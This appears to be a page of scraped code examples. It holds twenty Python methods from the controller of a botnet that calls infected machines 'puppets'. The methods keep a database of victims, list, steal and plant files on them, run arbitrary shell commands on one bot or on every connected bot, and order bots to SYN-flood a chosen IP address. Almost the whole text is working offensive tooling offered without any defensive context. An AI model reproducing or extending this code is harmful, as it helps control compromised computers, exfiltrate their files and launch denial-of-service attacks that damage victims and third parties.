Beispiel #1
0
    def receive_file(self):
        """ Uploads a specified file to the bot and saves it at the specified
            path

        """
        source_path = input(to_yellow("[ UPLOAD ] Source path: "))
        destination_path = input(to_yellow("[ UPLOAD ] Destination path: "))
        if source_path == "" or destination_path == "":
            return
        if not os.path.exists(source_path):
            print(to_red(f"\n[ ! ] Invalid source path: {source_path}\n"))
            return
        try:
            with open(source_path, "rb") as file:
                file_size = os.path.getsize(source_path)
                file_size = struct.pack(">I", socket.htonl(file_size))
                self.socket_fd.send(bytes("download", 'utf-8'))
                self.socket_fd.send(file_size)
                len_filename = len(destination_path)
                len_filename = struct.pack(">I", socket.htonl(len_filename))
                self.socket_fd.send(len_filename)
                self.socket_fd.send(bytes(destination_path, 'utf-8'))
                file_data = file.read()
                self.socket_fd.sendall(file_data)
                file.close()
        except (FileNotFoundError, socket.error) as error:
            if "No such file or directory" in error:
                print(to_red(f"\n[ ! ] File not found: {source_path}\n"))
                return
            print(to_red(f"\n[ {self.ip_address} ] Socket error: "
                         f"{error}\n"))
            return
        else:
            print(to_green(f"\n[ {self.ip_address} ] File {source_path} "
                           f"uploaded successfully \n"))
Beispiel #2
0
 def _disconnect_all_puppets(self):
     for puppet in self.__connected_puppets:
         try:
             puppet.disconnect()
         except socket.error as error:
             print(to_red(f"\n[{puppet.ip_address}] {error}\n"))
         else:
             self.__database.update_puppet_status(puppet, new_status=0)
     self.__connected_puppets.clear()
Beispiel #3
0
    def disconnect(self):
        """ Sets the bot connection status to 0 on database and closes the
            socket

        """
        self.socket_fd.send(bytes("exit", 'utf-8'))
        print(to_red(f"\n[ - ] {self.ip_address} disconnected\n"))
        self.is_connected = 0
        self.socket_fd.close()
Beispiel #4
0
    def _download_from_all(self):
        """ Downloads specified file from de puppets and saves to a specified
            output path

        """
        remote_file_path = input(to_yellow("[ DOWNLOAD ] Path to file: "))
        local_filename = input(to_yellow("[ DOWNLOAD ] Save as: "))
        if os.path.exists(local_filename):
            print(to_red("\n[ ! ] Invalid output path\n"))
            return
        if remote_file_path in ("", ) or remote_file_path in ("", ):
            return
        individual_percentage = 100 / len(self.__connected_puppets)
        total_success_percentage = 0
        for puppet in self.__connected_puppets:
            output_file_name = f'{puppet.ip_address}' + local_filename
            if os.path.exists(output_file_name):
                print(to_red(f"\n[ ! ] File exists: {output_file_name}\n"))
                return
            puppet.socket_fd.send(bytes("upload", 'utf-8'))
            puppet.socket_fd.send(bytes(remote_file_path, 'utf-8'))
            file_size = puppet.socket_fd.recv(256)
            file_size = int.from_bytes(file_size, "little")
            file_data = puppet.recv_all(file_size)
            try:
                with open(output_file_name, "wb") as file:
                    file.write(file_data)
                    file.close()
                    total_success_percentage += individual_percentage
                    print(
                        to_green(f"\n[ {total_success_percentage:.1f}% ] "
                                 f"{output_file_name} downloaded from "
                                 f"{puppet.ip_address}\n"))
            except socket.error as error:
                self.__database.update_puppet_status(puppet, new_status=0)
                self.__connected_puppets.remove(puppet)
                print(to_red(f"[ {puppet.ip_address} ] {error}"))
                return
            except Exception as error:
                print(to_red(f"\n[ ! ] Can't write to file: {error}\n"))
        print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
Beispiel #5
0
    def _interact_with_one(self):
        """ Shows a menu to interact with a chosen puppet (if there is any
            puppet connected)

        """
        if not self.__connected_puppets:
            print(to_red("\n[ - ] There is no puppet connected\n"))
            return
        puppet = self._choose_puppet_from_list()
        while True:
            _interaction_menu()
            try:
                command_number = input(to_yellow("[ UNICAST ] >> "))
                if command_number == '0':
                    self.__database.update_puppet_status(puppet, new_status=0)
                    puppet.disconnect()
                    self.__connected_puppets.remove(puppet)
                    return
                elif command_number == '1':
                    puppet.list_files()
                elif command_number == '2':
                    puppet.send_file()
                elif command_number == '3':
                    puppet.receive_file()
                elif command_number == '4':
                    command = input(to_yellow("[ SHELL COMMAND ] Command: "))
                    puppet.run_command(command)
                elif command_number == '5':
                    puppet.syn_flood()
                elif command_number == '9':
                    return
                elif command_number in ('help', '--help', 'h', '-h', '--h'):
                    _interaction_menu()
                else:
                    print(to_red("[ ! ] Invalid choice, use 'help'"))
            except socket.error as error:
                self.__database.update_puppet_status(puppet, new_status=0)
                self.__connected_puppets.remove(puppet)
                print(to_red(f"\n[{puppet.ip_address}] {error}\n"))
                return
Beispiel #6
0
    def __init__(self, filename):
        """ Args:
                filename (str): the path for the database

        """

        try:
            self.conn = sqlite3.connect(filename, check_same_thread=False)
            self.conn.row_factory = lambda cursor, row: row[0]
        except sqlite3.Error as error:
            print(to_red(f"\n[ DATABASE ERROR ] {error} {filename}\n"))
        else:
            self.cursor = self.conn.cursor()
            self.create_table()
Beispiel #7
0
 def _upload_to_all(self):
     """ Uploads a specified file to all puppets at a specified path """
     source_path = input(to_yellow("[ UPLOAD ] Source path: "))
     destination_path = input(to_yellow("[ UPLOAD ] Destination path: "))
     if source_path == "" or destination_path == "":
         return
     if not os.path.exists(source_path):
         print(to_red(f"\n[ ! ] File doesn't exists: {source_path}\n"))
         return
     individual_percentage = 100 / len(self.__connected_puppets)
     total_success_percentage = 0
     file_size = os.path.getsize(source_path)
     file_size = struct.pack(">I", socket.htonl(file_size))
     for puppet in self.__connected_puppets:
         try:
             with open(source_path, "rb") as file:
                 puppet.socket_fd.send(bytes("download", 'utf-8'))
                 puppet.socket_fd.send(file_size)
                 len_filename = len(destination_path)
                 len_filename = struct.pack(">I",
                                            socket.htonl(len_filename))
                 puppet.socket_fd.send(len_filename)
                 puppet.socket_fd.send(bytes(destination_path, 'utf-8'))
                 file_data = file.read()
                 puppet.socket_fd.sendall(file_data)
                 file.close()
                 total_success_percentage += individual_percentage
                 print(
                     to_green(
                         f"\n[ {total_success_percentage:.1f}% ] "
                         f"{source_path} uploaded to {puppet.ip_address}"))
         except socket.error as error:
             self.__database.update_puppet_status(puppet, new_status=0)
             self.__connected_puppets.remove(puppet)
             print(to_red(f"\n[ {puppet.ip_address} ] {error}\n"))
             return
     print(to_green(f"[ Success: {total_success_percentage:.1f}% ]"))
Beispiel #8
0
    def _choose_puppet_from_list(self):
        """ Choose a puppet based on it index on the list of connected puppets

            Returns:
                :obj: 'Puppet':    chosen puppet

        """
        self._list_connections()
        while True:
            try:
                puppet_id = int(input(to_yellow("[ INTERACT ] Puppet ID: ")))
                return self.__connected_puppets[puppet_id]
            except (ValueError, IndexError):
                print(to_red("\n[ ! ] Invalid choice\n"))
                continue
Beispiel #9
0
    def _interact_with_all(self):
        """ Show a menu to interact with all puppets (if there is any puppet
            connected)

        """
        if len(self.__connected_puppets) == 0:
            print(to_red("\n[ - ] There is no puppet connected\n"))
            return
        while True:
            _interaction_menu()
            try:
                command_number = input(to_yellow("[ BROADCAST ] >> "))
                if command_number == '0':
                    self._disconnect_all_puppets()
                    return
                elif command_number == '1':
                    self._list_files_for_all()
                elif command_number == '2':
                    self._download_from_all()
                elif command_number == '3':
                    self._upload_to_all()
                elif command_number == '4':
                    command = input(to_yellow("[ SHELL COMMAND ] Command: "))
                    for puppet in self.__connected_puppets:
                        puppet.run_command(command)
                elif command_number == '5':
                    for puppet in self.__connected_puppets:
                        puppet.syn_flood()
                elif command_number == '9':
                    return
                elif command_number in ('help', '--help', 'h', '-h', '--h'):
                    _interaction_menu()
                else:
                    print(to_red("\n[ ! ] Invalid choice, use 'help'\n"))
            except socket.error as error:
                print(to_red(f"\n[ - ] {error}\n"))
Beispiel #10
0
    def get_puppets_hashes(self):
        """ Fetches and returns the hashes of all puppets on database

            Returns:
                puppets_hashes (:obj: 'tuple'):     tuple containing the
                    hashes of the puppets in database

        """
        try:
            puppets_hashes = self.cursor.execute(
                "SELECT HASH FROM puppets;"
            ).fetchall()
            return puppets_hashes
        except sqlite3.Error as error:
            print(to_red(f"\n [ DATABASE ERROR ] {error}\n"))
Beispiel #11
0
 def _list_connections(self):
     """ Lists the connected puppets """
     if self.__connected_puppets:
         print(
             to_green(f"{'ACTIVE CONNECTIONS'.center(67,'=')}\n\n"
                      f"{'ID':^6}{'IP ADDRESS':^15}"
                      f"{'OS':^10}{'ARCH':^8}"
                      f"{'HOST':^12}{'USER':^12}\n"))
         for _, puppet in enumerate(self.__connected_puppets):
             print(f"{_:^6}{puppet.ip_address:^15}{puppet.op_system:^10}"
                   f"{puppet.architecture:^12}{puppet.hostname:^12}"
                   f"{puppet.username:^12}")
         print()
     else:
         print(to_red("\n[ - ] There is no puppet connected\n"))
Beispiel #12
0
    def disconnect_puppets_on_exit(self):
        """ Updates a connection status of all puppets to 0 when the server
            stops

        """
        try:
            self.cursor.execute(
                """
                UPDATE puppets
                SET IS_CONNECTED = 0
                """
            )
        except sqlite3.Error as error:
            print(to_red(f"\n[ DATABASE ERROR ] {error}\n"))
        else:
            self.conn.commit()
Beispiel #13
0
    def get_connected_puppets(self):
        """ Fetches all puppets on database that are currently connected to the
            server and returns them in a list of tuples

            Returns:
                puppets (:obj: 'list' of :obj: 'tuples'):  list of tuples with
                    the connected puppets information (one tuple per puppet)

        """
        try:
            connected_puppets = self.cursor.execute(
                "SELECT * FROM puppets WHERE IS_CONNECTED = 1;"
            ).fetchall()
            return connected_puppets
        except sqlite3.Error as error:
            print(to_red(f"\n [ DATABASE ERROR ] {error}\n"))
Beispiel #14
0
    def syn_flood(self):
        """ Floods the specified destination IP with forged packets with
            a specified spoofed IP address

        """
        try:
            self.socket_fd.send(bytes("syn flood", "utf-8"))
            # source_ip = input(to_yellow("[ SYN FLOOD ] Source IP to use: "))
            # self.socket_fd.send(bytes(source_ip, "utf-8"))
            destination_ip = input(to_yellow("[ SYN FLOOD ] Destination IP: "))
            self.socket_fd.send(bytes(destination_ip, "utf-8"))
        except socket.error:
            print(to_red(f"\n[ {self.ip_address} ] Socket error\n"))
        else:
            print(to_green(f"\n[ Flooding ] {self.ip_address}"
                           f" -> {destination_ip}:80\n"))
Beispiel #15
0
    def add_puppet(self, puppet):
        """ Inserts the puppet information to the table
            As some puppet attributes are received as C string (terminated by
            '\x00'), these strings must be sliced to prevent sqlite store it as
            BLOB binary data

            Args:
                puppet (:obj: 'Puppet'):  puppet to be added to database

        """
        try:
            self.cursor.execute(
                """
                INSERT INTO puppets (
                    IP_ADDRESS,
                    IS_CONNECTED,
                    AUTORUN_ENABLED,
                    OP_SYSTEM,
                    ARCHITECTURE,
                    KERNEL_RELEASE,
                    HOSTNAME,
                    USERNAME,
                    LAST_CONNECTION,
                    HASH
                )
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
                """, (puppet.ip_address,
                      puppet.is_connected,
                      puppet.autorun_is_enabled,
                      puppet.op_system[:-1],
                      puppet.architecture[:-1],
                      puppet.kernel_release[:-1],
                      puppet.hostname[:-1],
                      puppet.username[:-1],
                      puppet.last_connection,
                      puppet.id_hash)
            )
        except ValueError as error:
            print(to_red(f"\n[ DATABASE ERROR ] {error} inserting\n"))
        else:
            self.conn.commit()
Beispiel #16
0
    def update_puppet_status(self, puppet, new_status):
        """ Updates a connection status of the puppet

            Args:
                puppet (:obj: 'Puppet'):  puppet to be updated
                new_status (int):    the new value for the status

        """
        try:
            self.cursor.execute(
                """
                UPDATE puppets
                SET IS_CONNECTED = ?
                WHERE HASH = ?
                """, (new_status,
                      puppet.id_hash)
                )
        except sqlite3.Error as error:
            print(to_red(f"\n[ DATABASE ERROR ] {error} update status\n"))
        else:
            self.conn.commit()
Beispiel #17
0
    def update_all_puppet_info(self, puppet):
        """ Update all information of the puppet

            Args:
                puppet (:obj: 'Puppet'):  puppet with new values to replace the
                    old ones

        """
        try:
            self.cursor.execute(
                """
                UPDATE puppets
                SET IP_ADDRESS = ?,
                    IS_CONNECTED = ?,
                    AUTORUN_ENABLED = ?,
                    OP_SYSTEM = ?,
                    ARCHITECTURE = ?,
                    KERNEL_RELEASE = ?,
                    HOSTNAME = ?,
                    USERNAME = ?,
                    LAST_CONNECTION = ?,
                    HASH = ?
                WHERE HASH = ?
                """, (puppet.ip_address,
                      puppet.is_connected,
                      puppet.autorun_is_enabled,
                      puppet.op_system[:-1],
                      puppet.architecture[:-1],
                      puppet.kernel_release[:-1],
                      puppet.hostname[:-1],
                      puppet.username[:-1],
                      puppet.last_connection,
                      puppet.id_hash,
                      puppet.id_hash)
            )
        except sqlite3.Error as error:
            print(to_red(f"\n[ DATABASE ERROR ] {error} updating\n"))
        else:
            self.conn.commit()
Beispiel #18
0
 def create_table(self):
     """ Creates (if not exists) the table to store the puppets infos """
     try:
         self.cursor.execute(
             """
             CREATE TABLE IF NOT EXISTS puppets (
                 ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                 IP_ADDRESS VARCHAR(15),
                 IS_CONNECTED INTEGER,
                 AUTORUN_ENABLED INTEGER,
                 OP_SYSTEM VARCHAR(15),
                 ARCHITECTURE VARCHAR(15),
                 KERNEL_RELEASE VARCHAR(30),
                 HOSTNAME VARCHAR(20),
                 USERNAME VARCHAR(20),
                 LAST_CONNECTION DATE NOT NULL,
                 HASH TEXT NOT NULL UNIQUE
             );
             """)
     except sqlite3.Error as error:
         print(to_red(f"\n[ DATABASE ERROR ] {error}\n"))
     else:
         self.conn.commit()
Beispiel #19
0
    def send_file(self):
        """ Downloads specified file from the bot and writes it to the disk
            at the specified path

        """
        source_path = input(to_yellow("[ DOWNLOAD ] Path to file: "))
        destination_path = input(to_yellow("[ DOWNLOAD ] Save as: "))

        if source_path == "" or destination_path == "":
            return
        if os.path.exists(destination_path):
            print(to_red(f"\n[ ! ] File exists: {destination_path}\n"))
            return
        self.socket_fd.send(bytes("upload", 'utf-8'))
        self.socket_fd.send(bytes(source_path, 'utf-8'))
        file_size = self.socket_fd.recv(1024)
        buffer = int.from_bytes(file_size, "little")
        file_data = self.recv_all(buffer)
        with open(destination_path, "wb") as file:
            file.write(file_data)
            file.close()
        print(to_green(f"\n[ {self.ip_address} ] File {destination_path} "
                       f"downloaded successfully\n"))
Beispiel #20
0
 def _list_files_for_all(self):
     """ Lists the files of specified path on all connected puppets """
     individual_percentage = 100 / len(self.__connected_puppets)
     total_success_percentage = 0
     directory = input(to_yellow("[ LIST FILES ] Path: "))
     for puppet in self.__connected_puppets:
         try:
             puppet.socket_fd.send(bytes("list files", 'utf-8'))
             puppet.socket_fd.send(bytes(directory, 'utf-8'))
             output = puppet.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE)
             output = output.decode('utf-8')
             total_success_percentage += individual_percentage
             print(
                 to_green(f"\n[ {total_success_percentage:.1f}% ]" +
                          f"[ Output for {puppet.ip_address}:"
                          f"{directory} ]"))
             print(f"{output}")
         except socket.error as error:
             self.__database.update_puppet_status(puppet, new_status=0)
             self.__connected_puppets.remove(puppet)
             print(to_red(f"[ {puppet.ip_address} ] {error}\n"))
             continue
     print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))